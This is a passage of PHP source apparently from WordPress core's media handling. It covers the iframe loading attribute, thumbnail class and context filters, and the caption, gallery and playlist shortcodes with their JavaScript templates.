	 * Returning anything else than `true` will not add the attributes.
	 *
	 * @since 5.5.0
	 *
	 * @param bool   $value         The filtered value, defaults to `true`.
	 * @param string $image         The HTML `img` tag where the attribute should be added.
	 * @param string $context       Additional context about how the function was called or where the img tag is.
	 * @param int    $attachment_id The image attachment ID.
	 */
	$add = apply_filters( 'wp_img_tag_add_srcset_and_sizes_attr', true, $image, $context, $attachment_id );

	if ( true === $add ) {
		$image_meta = wp_get_attachment_metadata( $attachment_id );
		return wp_image_add_srcset_and_sizes( $image, $image_meta, $attachment_id );
	}

	return $image;
}

/**
 * Adds `loading` attribute to an `iframe` HTML tag.
 *
 * @since 5.7.0
 *
 * @param string $iframe  The HTML `iframe` tag where the attribute should be added.
 * @param string $context Additional context to pass to the filters.
 * @return string Converted `iframe` tag with `loading` attribute added.
 */
function wp_iframe_tag_add_loading_attr( $iframe, $context ) {
	/*
	 * Get loading attribute value to use. This must occur before the conditional check below so that even iframes that
	 * are ineligible for being lazy-loaded are considered.
	 */
	$optimization_attrs = wp_get_loading_optimization_attributes(
		'iframe',
		array(
			/*
			 * The concrete values for width and height are not important here for now
			 * since fetchpriority is not yet supported for iframes.
			 * TODO: Use WP_HTML_Tag_Processor to extract actual values once support is
			 * added.
			 */
			'width'   => str_contains( $iframe, ' width="' ) ? 100 : null,
			'height'  => str_contains( $iframe, ' height="' ) ? 100 : null,
			// This function is never called when a 'loading' attribute is already present.
			'loading' => null,
		),
		$context
	);

	// Iframes should have source and dimension attributes for the `loading` attribute to be added.
	if ( ! str_contains( $iframe, ' src="' ) || ! str_contains( $iframe, ' width="' ) || ! str_contains( $iframe, ' height="' ) ) {
		return $iframe;
	}

	$value = isset( $optimization_attrs['loading'] ) ? $optimization_attrs['loading'] : false;

	/**
	 * Filters the `loading` attribute value to add to an iframe. Default `lazy`.
	 *
	 * Returning `false` or an empty string will not add the attribute.
	 * Returning `true` will add the default value.
	 *
	 * @since 5.7.0
	 *
	 * @param string|bool $value   The `loading` attribute value. Returning a falsey value will result in
	 *                             the attribute being omitted for the iframe.
	 * @param string      $iframe  The HTML `iframe` tag to be filtered.
	 * @param string      $context Additional context about how the function was called or where the iframe tag is.
	 */
	$value = apply_filters( 'wp_iframe_tag_add_loading_attr', $value, $iframe, $context );

	if ( $value ) {
		if ( ! in_array( $value, array( 'lazy', 'eager' ), true ) ) {
			$value = 'lazy';
		}

		return str_replace( '<iframe', '<iframe loading="' . esc_attr( $value ) . '"', $iframe );
	}

	return $iframe;
}

/**
 * Adds a 'wp-post-image' class to post thumbnails. Internal use only.
 *
 * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
 * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 * @return string[] Modified array of attributes including the new 'wp-post-image' class.
 */
function _wp_post_thumbnail_class_filter( $attr ) {
	$attr['class'] .= ' wp-post-image';
	return $attr;
}

/**
 * Adds '_wp_post_thumbnail_class_filter' callback to the 'wp_get_attachment_image_attributes'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 */
function _wp_post_thumbnail_class_filter_add( $attr ) {
	add_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
}

/**
 * Removes the '_wp_post_thumbnail_class_filter' callback from the 'wp_get_attachment_image_attributes'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 2.9.0
 *
 * @param string[] $attr Array of thumbnail attributes including src, class, alt, title, keyed by attribute name.
 */
function _wp_post_thumbnail_class_filter_remove( $attr ) {
	remove_filter( 'wp_get_attachment_image_attributes', '_wp_post_thumbnail_class_filter' );
}

/**
 * Overrides the context used in {@see wp_get_attachment_image()}. Internal use only.
 *
 * Uses the {@see 'begin_fetch_post_thumbnail_html'} and {@see 'end_fetch_post_thumbnail_html'}
 * action hooks to dynamically add/remove itself so as to only filter post thumbnails.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 *
 * @param string $context The context for rendering an attachment image.
 * @return string Modified context set to 'the_post_thumbnail'.
 */
function _wp_post_thumbnail_context_filter( $context ) {
	return 'the_post_thumbnail';
}

/**
 * Adds the '_wp_post_thumbnail_context_filter' callback to the 'wp_get_attachment_image_context'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 */
function _wp_post_thumbnail_context_filter_add() {
	add_filter( 'wp_get_attachment_image_context', '_wp_post_thumbnail_context_filter' );
}

/**
 * Removes the '_wp_post_thumbnail_context_filter' callback from the 'wp_get_attachment_image_context'
 * filter hook. Internal use only.
 *
 * @ignore
 * @since 6.3.0
 * @access private
 */
function _wp_post_thumbnail_context_filter_remove() {
	remove_filter( 'wp_get_attachment_image_context', '_wp_post_thumbnail_context_filter' );
}

add_shortcode( 'wp_caption', 'img_caption_shortcode' );
add_shortcode( 'caption', 'img_caption_shortcode' );

/**
 * Builds the Caption shortcode output.
 *
 * Allows a plugin to replace the content that would otherwise be returned. The
 * filter is {@see 'img_caption_shortcode'} and passes an empty string, the attr
 * parameter and the content parameter values.
 *
 * The supported attributes for the shortcode are 'id', 'caption_id', 'align',
 * 'width', 'caption', and 'class'.
 *
 * @since 2.6.0
 * @since 3.9.0 The `class` attribute was added.
 * @since 5.1.0 The `caption_id` attribute was added.
 * @since 5.9.0 The `$content` parameter default value changed from `null` to `''`.
 *
 * @param array  $attr {
 *     Attributes of the caption shortcode.
 *
 *     @type string $id         ID of the image and caption container element, i.e. `<figure>` or `<div>`.
 *     @type string $caption_id ID of the caption element, i.e. `<figcaption>` or `<p>`.
 *     @type string $align      Class name that aligns the caption. Default 'alignnone'. Accepts 'alignleft',
 *                              'aligncenter', alignright', 'alignnone'.
 *     @type int    $width      The width of the caption, in pixels.
 *     @type string $caption    The caption text.
 *     @type string $class      Additional class name(s) added to the caption container.
 * }
 * @param string $content Optional. Shortcode content. Default empty string.
 * @return string HTML content to display the caption.
 */
function img_caption_shortcode( $attr, $content = '' ) {
	// New-style shortcode with the caption inside the shortcode with the link and image tags.
	if ( ! isset( $attr['caption'] ) ) {
		if ( preg_match( '#((?:<a [^>]+>\s*)?<img [^>]+>(?:\s*</a>)?)(.*)#is', $content, $matches ) ) {
			$content         = $matches[1];
			$attr['caption'] = trim( $matches[2] );
		}
	} elseif ( str_contains( $attr['caption'], '<' ) ) {
		$attr['caption'] = wp_kses( $attr['caption'], 'post' );
	}

	/**
	 * Filters the default caption shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default caption template.
	 *
	 * @since 2.6.0
	 *
	 * @see img_caption_shortcode()
	 *
	 * @param string $output  The caption output. Default empty.
	 * @param array  $attr    Attributes of the caption shortcode.
	 * @param string $content The image element, possibly wrapped in a hyperlink.
	 */
	$output = apply_filters( 'img_caption_shortcode', '', $attr, $content );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$atts = shortcode_atts(
		array(
			'id'         => '',
			'caption_id' => '',
			'align'      => 'alignnone',
			'width'      => '',
			'caption'    => '',
			'class'      => '',
		),
		$attr,
		'caption'
	);

	$atts['width'] = (int) $atts['width'];

	if ( $atts['width'] < 1 || empty( $atts['caption'] ) ) {
		return $content;
	}

	$id          = '';
	$caption_id  = '';
	$describedby = '';

	if ( $atts['id'] ) {
		$atts['id'] = sanitize_html_class( $atts['id'] );
		$id         = 'id="' . esc_attr( $atts['id'] ) . '" ';
	}

	if ( $atts['caption_id'] ) {
		$atts['caption_id'] = sanitize_html_class( $atts['caption_id'] );
	} elseif ( $atts['id'] ) {
		$atts['caption_id'] = 'caption-' . str_replace( '_', '-', $atts['id'] );
	}

	if ( $atts['caption_id'] ) {
		$caption_id  = 'id="' . esc_attr( $atts['caption_id'] ) . '" ';
		$describedby = 'aria-describedby="' . esc_attr( $atts['caption_id'] ) . '" ';
	}

	$class = trim( 'wp-caption ' . $atts['align'] . ' ' . $atts['class'] );

	$html5 = current_theme_supports( 'html5', 'caption' );
	// HTML5 captions never added the extra 10px to the image width.
	$width = $html5 ? $atts['width'] : ( 10 + $atts['width'] );

	/**
	 * Filters the width of an image's caption.
	 *
	 * By default, the caption is 10 pixels greater than the width of the image,
	 * to prevent post content from running up against a floated image.
	 *
	 * @since 3.7.0
	 *
	 * @see img_caption_shortcode()
	 *
	 * @param int    $width    Width of the caption in pixels. To remove this inline style,
	 *                         return zero.
	 * @param array  $atts     Attributes of the caption shortcode.
	 * @param string $content  The image element, possibly wrapped in a hyperlink.
	 */
	$caption_width = apply_filters( 'img_caption_shortcode_width', $width, $atts, $content );

	$style = '';

	if ( $caption_width ) {
		$style = 'style="width: ' . (int) $caption_width . 'px" ';
	}

	if ( $html5 ) {
		$html = sprintf(
			'<figure %s%s%sclass="%s">%s%s</figure>',
			$id,
			$describedby,
			$style,
			esc_attr( $class ),
			do_shortcode( $content ),
			sprintf(
				'<figcaption %sclass="wp-caption-text">%s</figcaption>',
				$caption_id,
				$atts['caption']
			)
		);
	} else {
		$html = sprintf(
			'<div %s%sclass="%s">%s%s</div>',
			$id,
			$style,
			esc_attr( $class ),
			str_replace( '<img ', '<img ' . $describedby, do_shortcode( $content ) ),
			sprintf(
				'<p %sclass="wp-caption-text">%s</p>',
				$caption_id,
				$atts['caption']
			)
		);
	}

	return $html;
}

add_shortcode( 'gallery', 'gallery_shortcode' );

/**
 * Builds the Gallery shortcode output.
 *
 * This implements the functionality of the Gallery Shortcode for displaying
 * WordPress images on a post.
 *
 * @since 2.5.0
 * @since 2.8.0 Added the `$attr` parameter to set the shortcode output. New attributes included
 *              such as `size`, `itemtag`, `icontag`, `captiontag`, and columns. Changed markup from
 *              `div` tags to `dl`, `dt` and `dd` tags. Support more than one gallery on the
 *              same page.
 * @since 2.9.0 Added support for `include` and `exclude` to shortcode.
 * @since 3.5.0 Use get_post() instead of global `$post`. Handle mapping of `ids` to `include`
 *              and `orderby`.
 * @since 3.6.0 Added validation for tags used in gallery shortcode. Add orientation information to items.
 * @since 3.7.0 Introduced the `link` attribute.
 * @since 3.9.0 `html5` gallery support, accepting 'itemtag', 'icontag', and 'captiontag' attributes.
 * @since 4.0.0 Removed use of `extract()`.
 * @since 4.1.0 Added attribute to `wp_get_attachment_link()` to output `aria-describedby`.
 * @since 4.2.0 Passed the shortcode instance ID to `post_gallery` and `post_playlist` filters.
 * @since 4.6.0 Standardized filter docs to match documentation standards for PHP.
 * @since 5.1.0 Code cleanup for WPCS 1.0.0 coding standards.
 * @since 5.3.0 Saved progress of intermediate image creation after upload.
 * @since 5.5.0 Ensured that galleries can be output as a list of links in feeds.
 * @since 5.6.0 Replaced order-style PHP type conversion functions with typecasts. Fix logic for
 *              an array of image dimensions.
 *
 * @param array $attr {
 *     Attributes of the gallery shortcode.
 *
 *     @type string       $order      Order of the images in the gallery. Default 'ASC'. Accepts 'ASC', 'DESC'.
 *     @type string       $orderby    The field to use when ordering the images. Default 'menu_order ID'.
 *                                    Accepts any valid SQL ORDERBY statement.
 *     @type int          $id         Post ID.
 *     @type string       $itemtag    HTML tag to use for each image in the gallery.
 *                                    Default 'dl', or 'figure' when the theme registers HTML5 gallery support.
 *     @type string       $icontag    HTML tag to use for each image's icon.
 *                                    Default 'dt', or 'div' when the theme registers HTML5 gallery support.
 *     @type string       $captiontag HTML tag to use for each image's caption.
 *                                    Default 'dd', or 'figcaption' when the theme registers HTML5 gallery support.
 *     @type int          $columns    Number of columns of images to display. Default 3.
 *     @type string|int[] $size       Size of the images to display. Accepts any registered image size name, or an array
 *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
 *     @type string       $ids        A comma-separated list of IDs of attachments to display. Default empty.
 *     @type string       $include    A comma-separated list of IDs of attachments to include. Default empty.
 *     @type string       $exclude    A comma-separated list of IDs of attachments to exclude. Default empty.
 *     @type string       $link       What to link each image to. Default empty (links to the attachment page).
 *                                    Accepts 'file', 'none'.
 * }
 * @return string HTML content to display gallery.
 */
function gallery_shortcode( $attr ) {
	$post = get_post();

	static $instance = 0;
	++$instance;

	if ( ! empty( $attr['ids'] ) ) {
		// 'ids' is explicitly ordered, unless you specify otherwise.
		if ( empty( $attr['orderby'] ) ) {
			$attr['orderby'] = 'post__in';
		}
		$attr['include'] = $attr['ids'];
	}

	/**
	 * Filters the default gallery shortcode output.
	 *
	 * If the filtered output isn't empty, it will be used instead of generating
	 * the default gallery template.
	 *
	 * @since 2.5.0
	 * @since 4.2.0 The `$instance` parameter was added.
	 *
	 * @see gallery_shortcode()
	 *
	 * @param string $output   The gallery output. Default empty.
	 * @param array  $attr     Attributes of the gallery shortcode.
	 * @param int    $instance Unique numeric ID of this gallery shortcode instance.
	 */
	$output = apply_filters( 'post_gallery', '', $attr, $instance );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$html5 = current_theme_supports( 'html5', 'gallery' );
	$atts  = shortcode_atts(
		array(
			'order'      => 'ASC',
			'orderby'    => 'menu_order ID',
			'id'         => $post ? $post->ID : 0,
			'itemtag'    => $html5 ? 'figure' : 'dl',
			'icontag'    => $html5 ? 'div' : 'dt',
			'captiontag' => $html5 ? 'figcaption' : 'dd',
			'columns'    => 3,
			'size'       => 'thumbnail',
			'include'    => '',
			'exclude'    => '',
			'link'       => '',
		),
		$attr,
		'gallery'
	);

	$id = (int) $atts['id'];

	if ( ! empty( $atts['include'] ) ) {
		$_attachments = get_posts(
			array(
				'include'        => $atts['include'],
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);

		$attachments = array();
		foreach ( $_attachments as $key => $val ) {
			$attachments[ $val->ID ] = $_attachments[ $key ];
		}
	} elseif ( ! empty( $atts['exclude'] ) ) {
		$post_parent_id = $id;
		$attachments    = get_children(
			array(
				'post_parent'    => $id,
				'exclude'        => $atts['exclude'],
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);
	} else {
		$post_parent_id = $id;
		$attachments    = get_children(
			array(
				'post_parent'    => $id,
				'post_status'    => 'inherit',
				'post_type'      => 'attachment',
				'post_mime_type' => 'image',
				'order'          => $atts['order'],
				'orderby'        => $atts['orderby'],
			)
		);
	}

	if ( ! empty( $post_parent_id ) ) {
		$post_parent = get_post( $post_parent_id );

		// Terminate the shortcode execution if the user cannot read the post or it is password-protected.
		if ( ! is_post_publicly_viewable( $post_parent->ID ) && ! current_user_can( 'read_post', $post_parent->ID )
			|| post_password_required( $post_parent )
		) {
			return '';
		}
	}

	if ( empty( $attachments ) ) {
		return '';
	}

	if ( is_feed() ) {
		$output = "\n";
		foreach ( $attachments as $att_id => $attachment ) {
			if ( ! empty( $atts['link'] ) ) {
				if ( 'none' === $atts['link'] ) {
					$output .= wp_get_attachment_image( $att_id, $atts['size'], false, $attr );
				} else {
					$output .= wp_get_attachment_link( $att_id, $atts['size'], false );
				}
			} else {
				$output .= wp_get_attachment_link( $att_id, $atts['size'], true );
			}
			$output .= "\n";
		}
		return $output;
	}

	$itemtag    = tag_escape( $atts['itemtag'] );
	$captiontag = tag_escape( $atts['captiontag'] );
	$icontag    = tag_escape( $atts['icontag'] );
	$valid_tags = wp_kses_allowed_html( 'post' );
	if ( ! isset( $valid_tags[ $itemtag ] ) ) {
		$itemtag = 'dl';
	}
	if ( ! isset( $valid_tags[ $captiontag ] ) ) {
		$captiontag = 'dd';
	}
	if ( ! isset( $valid_tags[ $icontag ] ) ) {
		$icontag = 'dt';
	}

	$columns   = (int) $atts['columns'];
	$itemwidth = $columns > 0 ? floor( 100 / $columns ) : 100;
	$float     = is_rtl() ? 'right' : 'left';

	$selector = "gallery-{$instance}";

	$gallery_style = '';

	/**
	 * Filters whether to print default gallery styles.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $print Whether to print default gallery styles.
	 *                    Defaults to false if the theme supports HTML5 galleries.
	 *                    Otherwise, defaults to true.
	 */
	if ( apply_filters( 'use_default_gallery_style', ! $html5 ) ) {
		$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';

		$gallery_style = "
		<style{$type_attr}>
			#{$selector} {
				margin: auto;
			}
			#{$selector} .gallery-item {
				float: {$float};
				margin-top: 10px;
				text-align: center;
				width: {$itemwidth}%;
			}
			#{$selector} img {
				border: 2px solid #cfcfcf;
			}
			#{$selector} .gallery-caption {
				margin-left: 0;
			}
			/* see gallery_shortcode() in wp-includes/media.php */
		</style>\n\t\t";
	}

	$size_class  = sanitize_html_class( is_array( $atts['size'] ) ? implode( 'x', $atts['size'] ) : $atts['size'] );
	$gallery_div = "<div id='$selector' class='gallery galleryid-{$id} gallery-columns-{$columns} gallery-size-{$size_class}'>";

	/**
	 * Filters the default gallery shortcode CSS styles.
	 *
	 * @since 2.5.0
	 *
	 * @param string $gallery_style Default CSS styles and opening HTML div container
	 *                              for the gallery shortcode output.
	 */
	$output = apply_filters( 'gallery_style', $gallery_style . $gallery_div );

	$i = 0;

	foreach ( $attachments as $id => $attachment ) {

		$attr = ( trim( $attachment->post_excerpt ) ) ? array( 'aria-describedby' => "$selector-$id" ) : '';

		if ( ! empty( $atts['link'] ) && 'file' === $atts['link'] ) {
			$image_output = wp_get_attachment_link( $id, $atts['size'], false, false, false, $attr );
		} elseif ( ! empty( $atts['link'] ) && 'none' === $atts['link'] ) {
			$image_output = wp_get_attachment_image( $id, $atts['size'], false, $attr );
		} else {
			$image_output = wp_get_attachment_link( $id, $atts['size'], true, false, false, $attr );
		}

		$image_meta = wp_get_attachment_metadata( $id );

		$orientation = '';

		if ( isset( $image_meta['height'], $image_meta['width'] ) ) {
			$orientation = ( $image_meta['height'] > $image_meta['width'] ) ? 'portrait' : 'landscape';
		}

		$output .= "<{$itemtag} class='gallery-item'>";
		$output .= "
			<{$icontag} class='gallery-icon {$orientation}'>
				$image_output
			</{$icontag}>";

		if ( $captiontag && trim( $attachment->post_excerpt ) ) {
			$output .= "
				<{$captiontag} class='wp-caption-text gallery-caption' id='$selector-$id'>
				" . wptexturize( $attachment->post_excerpt ) . "
				</{$captiontag}>";
		}

		$output .= "</{$itemtag}>";

		if ( ! $html5 && $columns > 0 && 0 === ++$i % $columns ) {
			$output .= '<br style="clear: both" />';
		}
	}

	if ( ! $html5 && $columns > 0 && 0 !== $i % $columns ) {
		$output .= "
			<br style='clear: both' />";
	}

	$output .= "
		</div>\n";

	return $output;
}

/**
 * Outputs the templates used by playlists.
 *
 * @since 3.9.0
 */
function wp_underscore_playlist_templates() {
	?>
<script type="text/html" id="tmpl-wp-playlist-current-item">
	<# if ( data.thumb && data.thumb.src ) { #>
		<img src="{{ data.thumb.src }}" alt="" />
	<# } #>
	<div class="wp-playlist-caption">
		<span class="wp-playlist-item-meta wp-playlist-item-title">
			<# if ( data.meta.album || data.meta.artist ) { #>
				<?php
				/* translators: %s: Playlist item title. */
				printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{ data.title }}' );
				?>
			<# } else { #>
				{{ data.title }}
			<# } #>
		</span>
		<# if ( data.meta.album ) { #><span class="wp-playlist-item-meta wp-playlist-item-album">{{ data.meta.album }}</span><# } #>
		<# if ( data.meta.artist ) { #><span class="wp-playlist-item-meta wp-playlist-item-artist">{{ data.meta.artist }}</span><# } #>
	</div>
</script>
<script type="text/html" id="tmpl-wp-playlist-item">
	<div class="wp-playlist-item">
		<a class="wp-playlist-caption" href="{{ data.src }}">
			{{ data.index ? ( data.index + '. ' ) : '' }}
			<# if ( data.caption ) { #>
				{{ data.caption }}
			<# } else { #>
				<# if ( data.artists && data.meta.artist ) { #>
					<span class="wp-playlist-item-title">
						<?php
						/* translators: %s: Playlist item title. */
						printf( _x( '&#8220;%s&#8221;', 'playlist item title' ), '{{{ data.title }}}' );
						?>
					</span>
					<span class="wp-playlist-item-artist"> &mdash; {{ data.meta.artist }}</span>
				<# } else { #>
					<span class="wp-playlist-item-title">{{{ data.title }}}</span>
				<# } #>
			<# } #>
		</a>
		<# if ( data.meta.length_formatted ) { #>
		<div class="wp-playlist-item-length">{{ data.meta.length_formatted }}</div>
		<# } #>
	</div>
</script>
	<?php
}

/**
 * Outputs and enqueues default scripts and styles for playlists.
 *
 * @since 3.9.0
 *
 * @param string $type Type of playlist. Accepts 'audio' or 'video'.
 */
function wp_playlist_scripts( $type ) {
	wp_enqueue_style( 'wp-mediaelement' );
	wp_enqueue_script( 'wp-playlist' );
	?>
<!--[if lt IE 9]><script>document.createElement('<?php echo esc_js( $type ); ?>');</script><![endif]-->
	<?php
	add_action( 'wp_footer', 'wp_underscore_playlist_templates', 0 );
	add_action( 'admin_footer', 'wp_underscore_playlist_templates', 0 );
}

/**
 * Builds the Playlist shortcode output.
 *
 * This implements the functionality of the playlist shortcode for displaying
 * a collection of WordPress audio or video files in a post.
 *
 * @since 3.9.0
 *
 * @global int $content_width
 *
 * @param array $attr {
 *     Array of default playlist attributes.
 *
 *     @type string  $type         Type of playlist to display. Accepts 'audio' or 'video'. Default 'audio'.
 *     @type string  $order        Designates ascending or descending order of items in the playlist.
 *                                 Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type string  $orderby      Any column, or columns, to sort the playlist. If $ids are
 *                                 passed, this defaults to the order of the $ids array ('post__in').
 *                                 Otherwise default is 'menu_order ID'.
 *     @type int     $id           If an explicit $ids array is not present, this parameter
 *                                 will determine which attachments are used for the playlist.
 *                                 Default is the current post ID.
 *     @type array   $ids          Create a playlist out of these explicit attachment IDs. If empty,
 *                                 a playlist will be created from all $type attachments of $id.
 *                                 Default empty.
 *     @type array   $exclude      List of specific attachment IDs to exclude from the playlist. Default empty.
 *     @type string  $style        Playlist style to use. Accepts 'light' or 'dark'. Default 'light'.
 *     @type bool    $tracklist    Whether to show or hide the playlist. Default true.
 *     @type bool    $tracknumbers Whether to show or hide the numbers next to entries in the playlist. Default true.
 *     @type bool    $images       Show or hide the video or audio thumbnail (Featured Image/post
 *                                 thumbnail). Default true.
 *     @type bool    $artists      Whether to show or hide artist name in the playlist. Default true.
 * }
 *
 * @return string Playlist output. Empty string if the passed type is unsupported.
 */
function wp_playlist_shortcode( $attr ) {
	global $content_width;
	$post = get_post();

	static $instance = 0;
	++$instance;

	if ( ! empty( $attr['ids'] ) ) {
		// 'ids' is explicitly ordered, unless you specify otherwise.
		if ( empty( $attr['orderby'] ) ) {
			$attr['orderby'] = 'post__in';
		}
		$attr['include'] = $attr['ids'];
	}

	/**
	 * Filters the playlist output.
	 *
	 * Returning a non-empty value from the filter will short-circuit generation
	 * of the default playlist output, returning the passed value instead.
	 *
	 * @since 3.9.0
	 * @since 4.2.0 The `$instance` parameter was added.
	 *
	 * @param string $output   Playlist output. Default empty.
	 * @param array  $attr     An array of shortcode attributes.
	 * @param int    $instance Unique numeric ID of this playlist shortcode instance.
	 */
	$output = apply_filters( 'post_playlist', '', $attr, $instance );

	if ( ! empty( $output ) ) {
		return $output;
	}

	$atts = shortcode_atts(
		array(
			'type'         => 'audio',
			'order'        => 'ASC',
			'orderby'      => 'menu_order ID',
			'id'           => $post ? $post->ID : 0,
			'include'      => '',
			'exclude'      => '',
			'style'        => 'light',
			'tracklist'    => true,
			'tracknumbers' => true,
			'images'       => true,
			'artists'      => true,
		),
		$attr,
		'playlist'
	);

	$id = (int) $atts['id'];

	if ( 'audio' !== $atts['type'] ) {
		$atts['type'] = 'video';
	}

	$args = array(
		'post_status'    => 'inherit',
		'post_type'      => 'attachment',
		'post_mime_type' => $atts['type'],
		'order'          => $atts['order'],
		'orderby'        => $atts['orderby'],
	);

	if ( ! empty( $atts['include'] ) ) {
		$args['include'] = $atts['include'];
		$_attachments    = get_posts( $args );

		$attachments = array();
		foreach ( $_attachments as $key => $val ) {
			$attachments[ $val->ID ] = $_attachments[ $key ];
		}
	} elseif ( ! empty( $atts['exclude'] ) ) {
		$args['post_parent'] = $id;
		$args['exclude']     = $atts['exclude'];
		$attachments         = get_children( $args );
	} else {
		$args['post_parent'] = $id;
		$attachments         = get_children( $args );
	}

	if ( ! empty( $args['post_parent'] ) ) {
		$post_parent = get_post( $id );

		// Terminate the shortcode execution if the user cannot read the post or it is password-protected.
		if ( ! current_user_can( 'read_post', $post_parent->ID ) || post_password_required( $post_parent ) ) {
			return '';
		}
	}

	if ( empty( $attachments ) ) {
		return '';
	}

	if ( is_feed() ) {
		$output = "\n";
		foreach ( $attachments as $att_id => $attachment ) {
			$output .= wp_get_attachment_link( $att_id ) . "\n";
		}
		return $output;
	}

	$outer = 22; // Default padding and border of wrapper.

	$default_width  = 640;
	$default_height = 360;

	$theme_width  = empty( $content_width ) ? $default_width : ( $content_width - $outer );
	$theme_height = empty( $content_width ) ? $default_height : round( ( $default_height * $theme_width ) / $default_width );

	$data = array(
		'type'         => $atts['type'],
		// Don't pass strings to JSON, will be truthy in JS.
		'tracklist'    => wp_validate_boolean( $atts['tracklist'] ),
		'tracknumbers' => wp_validate_boolean( $atts['tracknumbers'] ),
		'images'       => wp_validate_boolean( $atts['images'] ),
		'artists'      => wp_validate_boolean( $atts['artists'] ),
	);

	$tracks = array();
	foreach ( $attachments as $attachment ) {
		$url   = wp_get_attachment_url( $attachment->ID );
		$ftype = wp_check_filetype( $url, wp_get_mime_types() );
		$track = array(
			'src'         => $url,
			'type'        => $ftype['type'],
			'title'       => $attachment->post_title,
			'caption'     => $attachment->post_excerpt,
			'description' => $attachment->post_content,
		);

		$track['meta'] = array();
		$meta          = wp_get_attachment_metadata( $attachment->ID );
		if ( ! empty( $meta ) ) {

			foreach ( wp_get_attachment_id3_keys( $attachment ) as $key => $label ) {
				if ( ! empty( $meta[ $key ] ) ) {
					$track['meta'][ $key ] = $meta[ $key ];
				}
			}

			if ( 'video' === $atts['type'] ) {
				if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
					$width        = $meta['width'];
					$height       = $meta['height'];
					$theme_height = round( ( $height * $theme_width ) / $width );
				} else {
					$width  = $default_width;
					$height = $default_height;
				}

				$track['dimensions'] = array(
					'original' => compact( 'width', 'height' ),
					'resized'  => array(
						'width'  => $theme_width,
						'height' => $theme_height,
					),
				);
			}
		}

		if ( $atts['images'] ) {
			$thumb_id = get_post_thumbnail_id( $attachment->ID );
			if ( ! empty( $thumb_id ) ) {
				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'full' );
				$track['image']               = compact( 'src', 'width', 'height' );
				list( $src, $width, $height ) = wp_get_attachment_image_src( $thumb_id, 'thumbnail' );
				$track['thumb']               = compact( 'src', 'width', 'height' );
			} else {
				$src            = wp_mime_type_icon( $attachment->ID, '.svg' );
				$width          = 48;
				$height         = 64;
				$track['image'] = compact( 'src', 'width', 'height' );
				$track['thumb'] = compact( 'src', 'width', 'height' );
			}
		}

		$tracks[] = $track;
	}
	$data['tracks'] = $tracks;

	$safe_type  = esc_attr( $atts['type'] );
	$safe_style = esc_attr( $atts['style'] );

	ob_start();

	if ( 1 === $instance ) {
		/**
		 * Prints and enqueues playlist scripts, styles, and JavaScript templates.
		 *
		 * @since 3.9.0
		 *
		 * @param string $type  Type of playlist. Possible values are 'audio' or 'video'.
		 * @param string $style The 'theme' for the playlist. Core provides 'light' and 'dark'.
		 */
		do_action( 'wp_playlist_scripts', $atts['type'], $atts['style'] );
	}
	?>
<div class="wp-playlist wp-<?php echo $safe_type; ?>-playlist wp-playlist-<?php echo $safe_style; ?>">
	<?php if ( 'audio' === $atts['type'] ) : ?>
		<div class="wp-playlist-current-item"></div>
	<?php endif; ?>
	<<?php echo $safe_type; ?> controls="controls" preload="none" width="<?php echo (int) $theme_width; ?>"
		<?php
		if ( 'video' === $safe_type ) {
			echo ' height="', (int) $theme_height, '"';
		}
		?>
	></<?php echo $safe_type; ?>>
	<div class="wp-playlist-next"></div>
	<div class="wp-playlist-prev"></div>
	<noscript>
	<ol>
		<?php
		foreach ( $attachments as $att_id => $attachment ) {
			printf( '<li>%s</li>', wp_get_attachment_link( $att_id ) );
		}
		?>
	</ol>
	</noscript>
	<script type="application/json" class="wp-playlist-script"><?php echo wp_json_encode( $data ); ?></script>
</div>
	<?php
	return ob_get_clean();
}
add_shortcode( 'playlist', 'wp_playlist_shortcode' );

/**
 * Provides a No-JS Flash fallback as a last resort for audio / video.
 *
 * @since 3.6.0
 *
 * @param string $url The media element URL.
 * @return string Fallback HTML.
 */
function wp_mediaelement_fallback( $url ) {
	/**
	 * Filters the MediaElement fallback output for no-JS.
	 *
	 * @since 3.6.0
	 *
	 * @param string $output Fallback output for no-JS.
	 * @param string $url    Media file URL.
	 */
	return apply_filters( 'wp_mediaelement_fallback', sprintf( '<a href="%1$s">%1$s</a>', esc_url( $url ) ), $url );
}

/**
 * Returns a filtered list of supported audio formats.
 *
 * @since 3.6.0
 *
 * @return string[] Supported audio formats.
 */
function wp_get_audio_extensions() {
	/**
	 * Filters the list of supported audio formats.
	 *
	 * @since 3.6.0
	 *
	 * @param string[] $extensions An array of supported audio formats. Defaults are
	 *                            'mp3', 'ogg', 'flac', 'm4a', 'wav'.
	 */
	return apply_filters( 'wp_audio_extensions', array( 'mp3', 'ogg', 'flac', 'm4a', 'wav' ) );
}

/**
 * Returns useful keys to use to lookup data from an attachment's stored metadata.
 *
 * @since 3.9.0
 *
 * @param WP_Post $attachment The current attachment, provided for context.
 * @param string  $context    Optional. The context. Accepts 'edit', 'display'. Default 'display'.
 * @return string[] Key/value pairs of field keys to labels.
 */
function wp_get_attachment_id3_keys( $attachment, $context = 'display' ) {
	$fields = array(
		'artist' => __( 'Artist' ),
